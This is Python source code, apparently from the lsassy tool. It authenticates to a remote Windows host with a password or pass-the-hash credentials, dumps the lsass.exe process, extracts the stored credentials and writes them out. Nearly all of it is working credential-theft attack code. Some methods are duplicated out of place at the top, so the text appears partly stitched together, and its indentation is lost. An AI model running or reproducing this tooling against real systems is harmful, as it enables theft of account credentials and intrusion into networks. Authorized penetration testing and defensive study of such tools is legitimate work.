def parse_lsass(self, options=Dumper.Options()):
self._parser = Parser(self._dumpfile, options)
parse_result = self._parser.parse()
if not parse_result.success():
return parse_result
self._credentials = self._parser.get_credentials()
self._log.info("Process lsass.exe has been parsed")
return RetCode(ERROR_SUCCESS)
def __init__(self,
hostname,
username,
domain="",
password="",
lmhash="",
nthash="",
log_options=Logger.Options(),
dump_options=Dumper.Options(),
parse_options=Parser.Options(),
write_options=Writer.Options()):
self.conn_options = ImpacketConnection.Options(hostname, domain,
username, password,
lmhash, nthash)
self.log_options = log_options
self.dump_options = dump_options
self.parse_options = parse_options
self.write_options = write_options
self._target = hostname
self._log = Logger(self._target, log_options)
self._conn = None
self._dumper = None
self._parser = None
self._dumpfile = None
self._credentials = []
self._writer = None
def __init__(self, target):
self.conn_options = ImpacketConnection.Options()
self.log_options = Logger.Options()
self.dump_options = Dumper.Options()
self.parse_options = Parser.Options()
self.write_options = Writer.Options()
self.lsassy = None
self.target = target
class Lsassy:
def __init__(self,
hostname,
username,
domain="",
password="",
lmhash="",
nthash="",
log_options=Logger.Options(),
dump_options=Dumper.Options(),
parse_options=Parser.Options(),
write_options=Writer.Options()):
self.conn_options = ImpacketConnection.Options(hostname, domain,
username, password,
lmhash, nthash)
self.log_options = log_options
self.dump_options = dump_options
self.parse_options = parse_options
self.write_options = write_options
self._target = hostname
self._log = Logger(self._target, log_options)
self._conn = None
self._dumper = None
self._parser = None
self._dumpfile = None
self._credentials = []
self._writer = None
def connect(self, options: ImpacketConnection.Options):
self._conn = ImpacketConnection(options)
self._conn.set_logger(self._log)
login_result = self._conn.login()
if not login_result.success():
return login_result
self._log.info("Authenticated")
return RetCode(ERROR_SUCCESS)
def dump_lsass(self, options=Dumper.Options()):
is_admin = self._conn.isadmin()
if not is_admin.success():
self._conn.close()
return is_admin
self._dumper = Dumper(self._conn, options)
dump_result = self._dumper.dump()
if not dump_result.success():
return dump_result
self._dumpfile = self._dumper.getfile()
self._log.info("Process lsass.exe has been dumped")
return RetCode(ERROR_SUCCESS)
def parse_lsass(self, options=Dumper.Options()):
self._parser = Parser(self._dumpfile, options)
parse_result = self._parser.parse()
if not parse_result.success():
return parse_result
self._credentials = self._parser.get_credentials()
self._log.info("Process lsass.exe has been parsed")
return RetCode(ERROR_SUCCESS)
def write_credentials(self, options=Writer.Options()):
self._writer = Writer(self._target, self._credentials, self._log,
options)
write_result = self._writer.write()
if not write_result.success():
return write_result
return RetCode(ERROR_SUCCESS)
def clean(self):
if self._parser:
r = self._parser.clean()
if not r.success():
lsassy_warn(self._log, r)
if self._dumper:
r = self._dumper.clean()
if not r.success():
lsassy_warn(self._log, r)
if self._conn:
r = self._conn.clean()
if not r.success():
lsassy_warn(self._log, r)
self._log.info("Cleaning complete")
def get_credentials(self):
self.log_options.quiet = True
self.log_options.verbosity = False
self._log = Logger(self._target, self.log_options)
self.write_options.format = "none"
return_code = self.run()
ret = {"success": True, "credentials": self._credentials}
if not return_code.success():
ret["success"] = False
ret["error_code"] = return_code.error_code
ret["error_msg"] = return_code.error_msg
ret["error_exception"] = return_code.error_exception
return ret
def run(self):
return_code = ERROR_UNDEFINED
try:
return_code = self._run()
except KeyboardInterrupt as e:
print("")
self._log.warn("Quitting gracefully...")
return_code = RetCode(ERROR_USER_INTERRUPTION)
except Exception as e:
return_code = RetCode(ERROR_UNDEFINED, e)
finally:
self.clean()
lsassy_exit(self._log, return_code)
return return_code
def _run(self):
"""
Extract hashes from arguments
"""
r = self.connect(self.conn_options)
if not r.success():
return r
r = self.dump_lsass(self.dump_options)
if not r.success():
return r
r = self.parse_lsass(self.parse_options)
if not r.success():
return r
r = self.write_credentials(self.write_options)
if not r.success():
return r
return RetCode(ERROR_SUCCESS)